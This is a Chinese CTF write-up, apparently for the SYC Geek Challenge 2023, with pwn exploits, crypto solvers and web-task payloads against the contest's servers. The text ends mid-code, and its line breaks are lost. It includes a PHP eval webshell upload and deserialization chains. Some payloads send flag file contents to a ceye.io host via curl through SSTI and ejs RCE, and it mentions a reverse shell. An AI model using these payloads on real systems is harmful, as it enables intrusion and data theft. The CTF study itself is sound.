from pwn import *#p=process("./chal11")elf = context.binary = ELF('./chal11')p = remote("pwn.node.game.sycsec.com",31338)rop = ROP(elf)# create the dlresolve objectdlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A' * 56)rop.read(0, dlresolve.data_addr)rop.ret2dlresolve(dlresolve)log.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)p.interactive()

EVA

利用任意地址写，把stack_check_faill的got表修改为main函数地址，然后再泄露libc地址，之后把puts的got表改成one_gadget即可

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def bug():gdb.attach(p)pause()def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./EVA')p = remote('pwn.node.game.sycsec.com', 30243)elf = ELF('./EVA')#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")libc = ELF('./libc.so.6')main=0x401282rl("Do you know <Neon Genesis Evangelion>\n")sl(str(0))rl("I'll punish you to go back and watch\n")pay=p64(0x404030+0x40+0x10)+p64(0x401355)#bug()s(pay)pay=p64(0x401282)s(pay)rl("Do you know <Neon Genesis Evangelion>\n")sl(str(0))rl("I'll punish you to go back and watch\n")pay=p64(0x404080+0x40)+p64(0x401305)s(pay)libc_base=get_addr()-libc.sym['_IO_2_1_stderr_']li(hex(libc_base))one_gadget=libc_base+0xe3b01write=libc_base+libc.sym['_IO_2_1_stdout_']sl(str(write&0xffffffff))rl("I'll punish you to go back and watch\n")pay=p64(0x404030+0x40+0x10)+p64(one_gadget)s(pay)rl("Do you know <Neon Genesis Evangelion>\n")sl(str(0))rl("I'll punish you to go back and watch\n")pay=p64(0x404018+0x50)+p64(0x401355)s(pay)pause()pay=p64(one_gadget)s(pay)rl("Do you know <Neon Genesis Evangelion>\n")sl(str(0))#libc_base=get_addr()-2017664#li(hex(libc_base))#one_gadget=libc_base+0xe3afe#sl(str(0))#rl("I'll punish you to go back and watch\n")#pay=p64(0)+p64(one_gadget)#s(pay)inter()

fmt2.0

读入的字节少，手动构造payload，把返回地址修改成one_gadget即可

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def bug():gdb.attach(p)pause()def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./fmt2.0')p = remote('pwn.node.game.sycsec.com', 30045)elf = ELF('./fmt2.0')libc=ELF("./libc.so.6")#libc = ELF('./libc-2.31.so')rl("frist str:")pay=b'%19$p%16$p'#bug()sl(pay)libc_base=int(p.recv(14),16)-libc.sym['__libc_start_main']-243li(hex(libc_base))one_gadget=libc_base+0xe3b01stack=int(p.recv(14),16)-232li(hex(stack))rl("second str:")pay=(b'%'+str((one_gadget>>16)&0xff).encode()+b'c%10$hhn'+b'%'+str((((one_gadget)&0xffff)-((one_gadget>>16)&0xff))).encode()+b'c%11$hn').ljust(32,b'\x00')+p64(stack+2)+p64(stack)print(len(pay))s(pay)li(hex(one_gadget))li(hex((one_gadget>>16)&0xff))li(hex(((one_gadget)&0xffff)-((one_gadget>>16)&0xff)))inter()

fmt3.0

脚本如下:

from pwn import *import sysremote_addr = ["pwn.node.game.sycsec.com",port]libc = ELF('./libc.so.6')#elf = ELF('')if len(sys.argv) == 1:context.log_level="debug"#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"])#p = process(["qemu-aarch64", "-L", ".", "./stack"])p = process("./fmt3.0_patched")context(arch='amd64', os='linux')context.terminal = ['tmux', 'splitw', '-h']if len(sys.argv) == 2 :if 'r' in sys.argv[1]:p = remote(remote_addr[0],remote_addr[1])if 'n' not in sys.argv[1]:context.log_level="debug"context(arch = 'amd64', os = 'linux')r = lambda : p.recv()rl = lambda : p.recvline()rc = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)shell = lambda : p.interactive()pr = lambda name,x : log.info(name+':'+hex(x))DEBUG = 1def debug(bp = None):if DEBUG == 1:if bp != None:gdb.attach(p, bp)else:gdb.attach(p)#debug()payload = b'%8$p.%13$p'sa(b'me!', payload)ru(b'0x')stack_addr = int(rc(12), 16)pr('stack_addr', stack_addr)ru(b'0x')libc.address = int(rc(12), 16) - libc.sym['__libc_start_main'] - 243binsh = next(libc.search(b'/bin/sh\x00'))pop_rdi = libc.address + 0x23b6aret = libc.address + 0xc16absystem = libc.sym['system']pr('libc.address', libc.address)ret_addr = (stack_addr + 8) & 0xffpayload = b'%' + str(ret_addr).encode() + b'c%8$hhn'sa(b'me!', payload)payload = b'%' + str(0x74).encode() + b'c%10$hhn'sa(b'me!', payload)payload = flat(ret, pop_rdi, binsh, system)pause()s(payload)shell()

CRYPTO

ext^7gcd

用前两数gcd，使后面的a[i]p[i]和为0

exp:

from Crypto.Util.number import *
from string import *
from hashlib import *
from string import *
from gmpy2 import *
from pwn import *dic = ascii_letters + string.digits
io = remote('59.110.20.54', 1789)io.recvuntil(b'XXXX+')
t = io.recvuntil(b')').decode().strip()[:-1]io.recvuntil(b'== ')
c_sha256 = io.recvline().decode().strip()for i in dic:for j in dic:for k in dic:for x in dic:cipher = i + j + k + x + tz = sha256(cipher.encode()).hexdigest()if z == c_sha256:res = i + j + k + xio.sendline(res)
while True:try:io.recvuntil('[')p = io.recvuntil(b']').decode().strip()[:-1]p = list(map(int, p.split(',')))a = [0] * 7_, a[0], a[1] = gcdext(p[0], p[1])for i in range(2,len(p)):a[i] += p[0]a[0] -= p[i]ans = ''for i in a:ans = ans + str(i) +','ans = ans[:-1]io.sendline(ans)except:k = io.recv()print(k)breakio.interactive()

EzComplex

复数域分解p2+q2

exp:

from Crypto.Util.number import *
from gmpy2 import *N = 973990451943921675425625260267293227445098713194663380695161260771362036776671793195525239267004528550439258233703798932349677698127549891815995206853756301593324349871567926792912475619794804691721625860861059975526781239293017498
c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
e = 0x10001
f = ZZ[i](N)for i in divisors(f):if (i[0] ** 2 + i[1] ** 2 == N):p = abs(int(i[0]))q = abs(int(i[1]))if isPrime(p):n = p * qphi = (p - 1) * (q - 1)d = invert(e, phi)m = powmod(c, d, n)print(long_to_bytes(m))

card_game

lcg

exp:

from pwn import *
from Crypto.Util.number import *
from gmpy2 import *io = remote("59.110.20.54", 4953)
io.recv()
io.sendline(str(1).encode())card_num = ['_A', '_2', '_3', '_4', '_5', '_6', '_7', '_8', '_9', '_10', '_J', '_Q', '_K']x = []
for _ in range(2):io.recvuntil(b'gift: ')t = io.recvuntil(b']').decode().strip()t = t[1:len(t) - 1]gift = t.split(', ')for i in gift:temp = int(i)x.append(temp)x6 = int(gift[2]) 
print(x)t = []for i in range(1, len(x)):t.append(x[i] - x[i-1])m = 0
for i in range(1, len(t)-1):m = GCD(t[i+1]*t[i-1] - t[i]*t[i], m)print(m)
assert isPrime(m)
a = (x[2] - x[1]) * inverse(x[1] - x[0], m)
b = (x[1] - a*x[0]) % mdef choose_card(num):x = (num>>5)%4if x == 0:return ((num>>6)%13), 'Heart'if x%4 == 1:return ((num>>6)%13), 'Spade'if x%4 == 2:return ((num>>6)%13), 'Diamond'else:return ((num>>6)%13), 'Club'out = x6
print(out)
while True:try:res = []answer = []for j in range(3):out = (out * a + b) % mres.append(out)for j in res:card, suit = choose_card(j)ans = suit + card_num[card] answer.append(ans)ans = (' '.join(answer)).encode()sleep(0.1)io.sendline(ans)except:x = io.recv()if b'SYC' in x:print(x)breakio.interactive()

Energetic_Carcano

类似lcg的操作

exp：

from Crypto.Util.number import *
from gmpy2 import *pts = []
f = []
for x in range(len(pts)):f.append(pts[x, 1] ** 2 - pts[0, 1] ** 2 - (pts[x, 0] ** 3 - pts[0, 0] ** 3))p1 = f[3] * (pts[2, 0] - pts[0, 0]) - f[2] * (pts[3, 0] - pts[0, 0])
p2 = f[1] * (pts[2, 0] - pts[0, 0]) - f[2] * (pts[1, 0] - pts[0, 0])
p = gcd(p2, p1)
print(p)
assert isPrime(p)inv = invert(pts[1, 0] - pts[0, 0], p)
a = (f[1] * inv) % p
print(a)b = (pts[1, 1] ** 2 - pts[1, 0] ** 3 - a * pts[1, 0]) % p
print(b)

JPGDiff

Hilbert曲线，上网找个脚本改改

from PIL import Imageimages = []
raw = Image.open("./geek_chanllenge/ct.png")
for i in range(0,65536):region = raw.crop((0,i,1,i+1))images.append(region)new_image = Image.new("RGB", (256,256), "white")cd=['w']
for ttt in range(0,8):tcd=[]for i in cd:if(i=='w'):tcd.append('d')tcd.append('w')tcd.append('w')tcd.append('a')if(i=='d'):tcd.append('w')tcd.append('d')tcd.append('d')tcd.append('s')if(i=='s'):tcd.append('a')tcd.append('s')tcd.append('s')tcd.append('d')if(i=='a'):tcd.append('s')tcd.append('a')tcd.append('a')tcd.append('w')cd=tcd[:]print(cd,len(cd))
x=256
y=0for i in range(0,65536):new_image.paste(images[i],(x,y))if(cd[i]=='w'):x-=1if(cd[i]=='d'):y+=1if(cd[i]=='s'):x+=1if(cd[i]=='a'):y-=1
new_image.save("./geek_chanllenge/out.png")

Simple3DES

弱密钥

key=b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"+b"\x01\x01\x01\x01\x01\x01\x01\x01"+b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"

加密两次等于没加密

exp：

from Crypto.Util.number import *key = b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"+b"\x01\x01\x01\x01\x01\x01\x01\x01"+b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"
print(bytes_to_long(key))
print(long_to_bytes(37699681561444816228091816433931698303804192466855953954712547876593130083457))

Fi1nd_th3_x'

from sage.arith.all import crtdef extended_crt(congruences):remainders = [congruence[0] for congruence in congruences]moduli = [congruence[1] for congruence in congruences]solution = crt(remainders, moduli)return solutionp= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009congruences = [(dP,(q-1)*(r-1)), (dQ,(p-1)*(r-1)), (dR,(p-1)*(q-1))]result = extended_crt(congruences)
print("Solution:", result)d =  165491523462007956398530261238759923870196080375265000534525661690633345463015242789311873568146385720020040624656002271057930225387764840769974562070646182847943707538823108901869155436725226837904509058886854986841295642060081156709176798958145207599953407769840343425663149902266682646724106747828667725830936024035707038099651237637163657086990976684361419102226209657433291392884336805246968126787159394313213089671545441606442264218646417418814509400366113c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
flag=pow(c,d,p*q*r)
from libnum import *
print(n2s(int(flag)))

#SYC{CRT_1s_f3n_but_Gen3hi_im9act_is_a_balabalaba}

Diligent_Liszt

p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266
e=3c1 = GF(p)(y)
c2 = GF(q)(y)
c3=  GF(r)(y)
e1 = GF(p)(e)
e2 = GF(q)(e)
e3 = GF(r)(e)
k1 = discrete_log(c1, e1)
k2 = discrete_log(c2,  e2)
k3 = discrete_log(c3, e3)
m = crt([k1, k2,k3], [p - 1, q - 1,r-1])
print(bytes.fromhex(hex(m)[2:]))

#SYC{D1scr3te_L0g_W1th_Mult1pl3_pr1m35}

16进制ascii码转换为字符，得到flag

proof_of_work

import hashlibimport reimport stringfrom itertools import product as iterate_productdef perform_security_check():security_info = 'sha256(XXXX+FCxk8M9svYwVMfGe) == 793edc396da13a7992b429e50e7d122c41debbd902419d26a0792b4008dba844'character_set = string.ascii_letters + string.digitssecret_suffix = re.search(r'\(XXXX\+(.*?)\)', security_info).group(1)target_hash = re.search(r'== (.*?)$', security_info).group(1)print(f"Secret Suffix: {secret_suffix}, Target Hash: {target_hash}")for attempt in iterate_product(character_set, repeat=4):prefix_attempt = ''.join(attempt)guess_attempt = f"{prefix_attempt}{secret_suffix}"if hashlib.sha256(guess_attempt.encode()).hexdigest() == target_hash:print(f"Success! Found XXXX Prefix: {prefix_attempt}")return prefix_attemptreturn Noneperform_security_check()

SimpleRSA

OTPTwice

from pwn import xor
M1=b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
M2=b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
M3=b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'n1=xor(M2,M3)
n2=xor(M2,M1)flag=xor(n1,M1)
print(flag)

OldAlgorithm

from Crypto.Util.number import *c_values = [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
p_values = [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]def solve_modulo_equations(c_values, p_values):n = len(c_values)M = 1M_values = []for p in p_values:M *= pfor p in p_values:M_values.append(M // p)y_values = [inverse(M_values[i], p_values[i]) for i in range(n)]x = 0for i in range(n):x += c_values[i] * M_values[i] * y_values[i]x %= Mreturn long_to_bytes(x)flag = solve_modulo_equations(c_values, p_values)
print("Decrypted Flag:", flag)

easy_classic

凯撒，栅栏，base64，熊曰，emoji，playfair

PolyRSA

csdn找到相关解法

from Crypto.Util.number import * 
from gmpy2 import * e1 = 113717 
e2 = 80737 
c1 = 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357 
c2 = 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222 
cipher = 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356 
n = 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089 
e = 65537 ee = e1 * e2 
a = powmod(2, ee, n) 
b = powmod(3, ee, n) 
c = powmod(5, ee, n) 
d = powmod(7, ee, n) t = a * d - b * c 
kp = invert(t, n) * (d * powmod(c1, e2, n) - b * powmod(c2, e1, n)) % n p = gcd(kp, n) 
q = n // p phi = (p - 1) * (q - 1) 
m = powmod(cipher, invert(e, phi), n) 
print(long_to_bytes(m))

Just need one

选择-2**32.

每次取走32位，转成十进制，再保证值n总会回到正数所以n*-1.

import socket 
import json 
import os  
import random  
import string  
import hashlib def getHashAnswer(p,q): alphabet=''.join([chr(i+ord('a')) for i in range(0,26)]+[chr(i+ord('A')) for i in range(0,26)]+[chr(i+ord('0')) for i in range(0,10)]) for a in alphabet: for b in alphabet: for c in alphabet: for d in alphabet: t=hashlib.sha256((a+b+c+d+p).encode()).hexdigest() if(t==q): return a+b+c+d target_ip = "59.110.20.54" 
target_port =2613 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
sock.connect((target_ip, target_port)) response = sock.recv(2048).decode() 
print(f"Response:\n{response}\n") 
ans1 = getHashAnswer(response.split('+')[1].split(")")[0],response.split("=")[-1].split()[0]) 
print(ans1) 
sock.sendall(ans1.encode("utf-8")) 
sock.send(b'\n') response = sock.recv(2048).decode() 
print(f"Response:\n{response}\n") 
sock.sendall(str(-pow(2,32)).encode("utf-8")) 
sock.send(b'\n') response = sock.recv(2048).decode() 
print(f"Response:\n{response}\n") 
num=int(response[:-25]) 
b=[] for j in range(0,128): num=num+pow(2,32*128) b.append(int(bin(num)[-32:],2)) num//=pow(2,32) num*=-1 sock.sendall(str(b)[1:-1].encode("utf-8")) 
sock.send(b'\n') 
response = sock.recv(2048).decode() 
print(response)

WEB

unsign

exp如下

<?phphighlight_file(__FILE__);class syc{public $cuit;public function __destruct(){echo("action!<br>");$function=$this->cuit;return $function();}}class lover{public $yxx;public $QW;public function __invoke(){echo("invoke!<br>");return $this->yxx->QW;}}class web{public $eva1;public $interesting;public function __get($var){echo("get!<br>");$eva1=$this->eva1;$eva1($this->interesting);}}$a = new syc();$a->cuit = new lover();$a->cuit->yxx = new web();$a->cuit->yxx->eva1 = 'system';$a->cuit->yxx->interesting = 'cat /flag';echo serialize($a);?>

EzHttp

查看源码访问robots.txt，账号密码在/o2takuXX's_username_and_password.txt文件里post传参

username=admin&password=@dm1N123456r00t#
Referer: sycsec.com
User-Agent: Syclover
X-Forwarder-For: 127.0.0.1

n00b_Upload

文件上传

文件名：shell.php 文件内容： GIF89a <?= eval($_POST[1]);?>

easy_php

GET传参： syc=Welcome+to+GEEK+2023!%0a&lover=2022e1 POST传参： qw[]=&yxx[]=&SYC[GEEK.2023=Happy to see you!

ctf_curl

-T /tmp/Syclover y91yp4.ceye.io    //带出指定文件的内容

flag保卫战

源码获取账号密码登录后先伪造JWT，密码为默认的123456，然后条件竞争获取flag

import requestsimport threadingheaders = {'Cookie':'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY'}url = 'https://lqbalz8ywlacp9ynx4e7vt8jr.node.game.sycsec.com/'uploadurl = url + 'upload'csrfurl = url + 'new-csrf-token'flagurl = url + 'flag?pass=1111'listurl = url + 'file-list'def upload():while True:r = requests.get(url=csrfurl,headers=headers)content_length = r.headers.get('Set-Cookie')csrf_token1 = content_length.split('yak_csrf=')[-1].split(';')[0]file = {'filename':('1.txt','1','text/plain')}data = {'yak-token':r.text}headers2 = {'Cookie': 'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY; yak_csrf='+csrf_token1}r2 = requests.post(url=uploadurl,headers=headers2,files=file,data=data)print(r2.text)def flag():while True:r = requests.get(url=csrfurl, headers=headers)content_length = r.headers.get('Set-Cookie')csrf_token1 = content_length.split('yak_csrf=')[-1].split(';')[0]data = {'yak-token': r.text}headers2 = {'Cookie': 'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY; yak_csrf=' + csrf_token1}# r2 = requests.get(url=listurl,headers=headers2,data=data)# print(r2.text)r3 = requests.get(url=flagurl,data=data,headers=headers2)print(r3.text)threads = [threading.Thread(target=upload), threading.Thread(target=flag)]for t in threads:t.start()

klf_ssti

无回显ssti，hackbar随便一个payload直接打

url/hack?klf={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('curl http://y91yp4.ceye.io/`cat /app/fl4gfl4gfl4g | base64`').read()}}{%endif%}{%endfor%}

ez_remove

O:3:"syc":2:{S:5:"love\72";s:23:"assert($_POST["chu0"]);";}

//这里的assert必须要加，不然会连不上

改为http信道，使用base64编码进行连接

ez_path

算pin后直接命令执行

记得用print

print(__import__('os').popen('ls').read())

you konw flask?

session伪造，key随便写个脚本爆一下

app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'

脚本如下

import itertoolsimport flask_unsignfrom flask_unsign.helpers import wordlistimport requests as rimport timeimport reimport sysimport base64path = "wordlist.txt"print("Generating wordlist... ")with open(path,"w") as f:#permutations with repetition[f.write('wanbao'+base64.b64encode(str(i).encode('utf-8')).decode('utf-8')+'wanbao'+'\n') for i in range(1,100)]url = "http://47.115.201.35:8000/index"#cookie_tamper = r.head(url).cookies.get_dict()['session']cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMjMiLCJ1c2VyX2lkIjoyfQ.ZUdERQ.G9_GQ_94b-KfDOtnxWXVWWZOV94'print("Got cookie: " + cookie_tamper)print("Cracker Started...")obj = flask_unsign.Cracker(value=cookie_tamper)before = time.time()with wordlist(path, parse_lines=False) as iterator:obj.crack(iterator)secret = ""if obj.secret:secret = obj.secret.decode()print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

session伪造拿下flag

Pupyy_rce

赌狗代码，随机读文件

print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));

famale_imp_l0ve

phar协议读取压缩流

雨

源码如下

const express = require('express');const jwt = require('jsonwebtoken');const app = express();const bodyParser = require('body-parser')const path = require('path');const jwt_secret = "VanZY";const cookieParser = require('cookie-parser');const putil_merge = require("putil-merge")app.set('views', './views');app.set('view engine', 'ejs');app.use(cookieParser());app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())var Super = {};var safecode = function (code){let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;return !validInput.test(code);};app.all('/code', (req, res) => {res.type('html');if (req.method == "POST" && req.body) {putil_merge({}, req.body, {deep:true});}res.send("welcome to code");});app.all('/hint', (req, res) => {res.type('html');res.send("I heard that the challenge maker likes to use his own id as secret_key");});app.get('/source', (req, res) => {res.type('html');var auth = req.cookies.auth;jwt.verify(auth, jwt_secret , function(err, decoded) {try{if(decoded.user==='admin'){res.sendFile(path.join(__dirname + '/index.js'));}else{res.send('you are not admin    <!--Maybe you can view /hint-->');}}catch{res.send("Fuck you Hacker!!!")}});});app.all('/create', (req, res) => {res.type('html');if (!req.body.name || req.body.name === undefined || req.body.name === null){res.send("please input name");}else {if (Super['userrole'] === 'Superadmin') {res.render('index', req.body);}else {if (!safecode(req.body.name)) {res.send("你在做什么？快停下！！！")}else{res.render('index', {name: req.body.name});}}}});app.get('/',(req, res) => {res.type('html');var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });res.cookie('auth ',token);res.end('Only admin can get source in /source');});app.listen(3000, () => console.log('Server started on port 3000'));

jwt伪造

密钥为VanZY   （看源码有hint）

原型链污染

/code

{"constructor":{"prototype":{"userrole":"Superadmin"}}}

ejs rce

参考博客：

ejs RCE CVE-2022-29078 bypass - inhann的博客 | inhann's Blog

{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('curl http://6huhzb.ceye.io');","client":"true"}},"name":"exec"}

反弹shell拿下

ez_php

php原生类的总结_php 原生类_Z3eyOnd的博客-CSDN博客

源码和链子如下

<?phpheader("Content-type:text/html;charset=utf-8");error_reporting(0);show_source(__FILE__);include('key.php');include('waf.php');class Me {public $qwe;public $bro;public $secret;public function __wakeup() {echo("进来啦<br>");$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';$randomString = substr(str_shuffle($characters), 0, 6);$this->secret=$randomString;if($this->bro===$this->secret){echo "234";$bb = $this->qwe;return $bb();}else{echo("错了哥们,再试试吧<br>");}}}class her{public $asd;private $hername='momo';private $key='9';public function __invoke() {echo("好累，好想睡一觉啊<br>");serialize($this->asd);}public function find() {echo("你能找到加密用的key和她的名字吗？qwq<br>");if (encode($this->hername,$this->key) === 'vxvx') {echo("解密成功！<br>");$file=$_GET['file'];if (isset($file) && (file_get_contents($file,'r') === "loveyou")){echo("快点的，急急急！！！<br>");echo new $_POST['ctf']($_GET['fun']);}else{echo("真的只差一步了！<br>");}}else{echo("兄弟怎么搞的？<br>");}}}class important{public $power;public function __sleep() {echo("睡饱了，接着找！<br>");return $this->power->seeyou;}}class useless {private $seeyou;public $QW;public $YXX;public function __construct($seeyou) 